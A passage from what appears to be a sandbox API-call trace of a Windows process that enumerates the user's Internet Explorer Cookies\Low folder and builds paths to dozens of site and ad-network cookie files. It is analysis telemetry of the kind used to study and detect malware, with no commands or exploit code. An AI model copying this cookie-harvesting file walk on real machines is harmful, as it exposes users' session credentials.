returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.816] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.816] PathCombineW (in: pszDest=0x9a94918, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@www.bing[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@www.bing[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@www.bing[1].txt" [0111.816] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd92b200, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd92b200, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd92b200, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@www.linkedin[1].txt", cAlternateFileName="AE311C~1.TXT")) returned 1 [0111.816] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.816] lstrlenW (lpString="aetadzjz@www.linkedin[1].txt") returned 28 [0111.816] lstrlenW (lpString="*.txt") returned 5 [0111.816] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x114) returned 0x9a94a10 [0111.816] wcscpy (in: _Dest=0x9a94a38, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.816] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.816] PathCombineW (in: pszDest=0x9a94a38, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@www.linkedin[1].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@www.linkedin[1].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@www.linkedin[1].txt" [0111.816] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82c3e360, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x82c3e360, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x82c3e360, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@www.msn[2].txt", cAlternateFileName="AE6390~1.TXT")) returned 1 [0111.817] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.817] lstrlenW (lpString="aetadzjz@www.msn[2].txt") returned 23 [0111.817] lstrlenW (lpString="*.txt") returned 5 [0111.817] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10a) returned 0x9a94b30 [0111.817] wcscpy (in: _Dest=0x9a94b58, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" [0111.817] StrRChrW (lpStart="*.txt", lpEnd=0x0, wMatch=0x9a9005c) returned 0x0 [0111.817] PathCombineW (in: pszDest=0x9a94b58, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="aetadzjz@www.msn[2].txt" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@www.msn[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@www.msn[2].txt" [0111.817] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82c3e360, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x82c3e360, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x82c3e360, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x3eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@www.msn[2].txt", cAlternateFileName="AE6390~1.TXT")) returned 0 [0111.817] FindClose (in: hFindFile=0x44668e0 | out: hFindFile=0x44668e0) returned 1 [0111.818] PathCombineW (in: pszDest=0x9a6e520, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*" [0111.818] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*", lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x26403640, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb99a0960, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb99a0960, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x44668e0 [0111.818] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x26403640, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0xb99a0960, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb99a0960, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.819] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.819] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd09e3c80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0a2ff40, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0a2ff40, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@ad.360yield[2].txt", cAlternateFileName="AE49C0~1.TXT")) returned 1 [0111.819] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.819] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x193d0e80, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1aebe760, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aebe760, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@ad13.adfarm1.adition[2].txt", cAlternateFileName="AEFBAE~1.TXT")) returned 1 [0111.819] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.819] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd094b700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd094b700, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd094b700, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@addthis[2].txt", cAlternateFileName="AE8806~1.TXT")) returned 1 [0111.819] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.819] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x193127a0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1aebe760, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aebe760, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adfarm1.adition[2].txt", cAlternateFileName="AEBA93~1.TXT")) returned 1 [0111.819] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.819] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd599100, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd599100, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd599100, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adformdsp[2].txt", cAlternateFileName="AE565C~1.TXT")) returned 1 [0111.819] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.819] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd2c56e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0x1ab527c0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ab527c0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adform[2].txt", cAlternateFileName="AE357C~1.TXT")) returned 1 [0111.819] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.819] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x18e29a40, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1c6400a0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1c6400a0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adnxs[2].txt", cAlternateFileName="AE127D~1.TXT")) returned 1 [0111.819] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.819] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05b9600, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd05b9600, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd05b9600, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x57, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adscale[1].txt", cAlternateFileName="AE1307~1.TXT")) returned 1 [0111.819] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.819] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd112dfe0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd117a2a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd117a2a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adserving.ancoraplatform[2].txt", cAlternateFileName="AE3EC5~1.TXT")) returned 1 [0111.819] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.819] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1b25c00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1b98020, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1b98020, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adsrvr[1].txt", cAlternateFileName="AE235F~1.TXT")) returned 1 [0111.819] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.819] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb9a0e80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb9a0e80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb9a0e80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@adtech[2].txt", cAlternateFileName="AEF361~1.TXT")) returned 1 [0111.819] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.820] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc83538a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0x1e095400, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1e095400, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x118, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@advertising[1].txt", cAlternateFileName="AE1C17~1.TXT")) returned 1 [0111.820] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.820] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1401a00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1401a00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1401a00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@angsrvr[2].txt", cAlternateFileName="AE10A0~1.TXT")) returned 1 [0111.820] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.820] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd1227c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd1227c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd1227c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@api.bing[2].txt", cAlternateFileName="AEFA13~1.TXT")) returned 1 [0111.820] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.820] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8757dc0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcba5f560, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcba5f560, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x203, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@at.atwola[2].txt", cAlternateFileName="AEC741~1.TXT")) returned 1 [0111.820] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.820] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0a09de0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0a09de0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0a09de0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@bidswitch[1].txt", cAlternateFileName="AE9589~1.TXT")) returned 1 [0111.820] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.820] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbcc0b60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xccfcbb60, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xccfcbb60, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@bing[1].txt", cAlternateFileName="AE445A~1.TXT")) returned 1 [0111.820] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.820] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1023640, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1936a20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd195cb80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@bluekai[1].txt", cAlternateFileName="AE5A80~1.TXT")) returned 1 [0111.820] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.820] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfcaed0a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xfcaed0a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xfcaed0a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@bs.serving-sys[1].txt", cAlternateFileName="AE4580~1.TXT")) returned 1 [0111.820] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.820] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1afa2fa0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1afa2fa0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1afa2fa0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@bs.serving-sys[3].txt", cAlternateFileName="AE9CB5~1.TXT")) returned 1 [0111.820] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.820] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbcc0b60, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd16d5420, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd16d5420, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x230, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@c.bing[1].txt", cAlternateFileName="AETADZ~2.TXT")) returned 1 [0111.820] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.820] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbf6e420, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcbf6e420, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcbf6e420, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x82, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@c.msn[2].txt", cAlternateFileName="AETADZ~3.TXT")) returned 1 [0111.820] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.820] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1747840, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd1747840, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1747840, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@c1.microsoft[2].txt", cAlternateFileName="AE0D21~1.TXT")) returned 1 [0111.820] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.820] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd05934a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd06058c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd06058c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x219, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@casalemedia[2].txt", cAlternateFileName="AEEFDF~1.TXT")) returned 1 [0111.820] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.820] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd04629a0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd04629a0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd04629a0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x145, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@connextra[2].txt", cAlternateFileName="AE9716~1.TXT")) returned 1 [0111.820] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.821] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0bf8fc0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd0c6b3e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd0c6b3e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@crwdcntrl[1].txt", cAlternateFileName="AE48CD~1.TXT")) returned 1 [0111.821] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.821] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd094b700, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd094b700, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd094b700, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@demdex[1].txt", cAlternateFileName="AEC92B~1.TXT")) returned 1 [0111.821] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.821] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd500b80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd500b80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd500b80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@doubleclick[2].txt", cAlternateFileName="AEA244~1.TXT")) returned 1 [0111.821] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.821] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd09e3c80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd09e3c80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd09e3c80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x70, dwReserved0=0x0, dwReserved1=0x0, cFileName="aetadzjz@dpm.demdex[1].txt", cAlternateFileName="AE28CE~1.TXT")) returned 1 [0111.821] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.821] FindNextFileW (in: hFindFile=0x44668e0, lpFindFileData=0x9a6e230 | out: lpFindFileData=0x9a6e230*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0a560a0, ftCreationTime.dwHighDateTime=0x1d2f569, 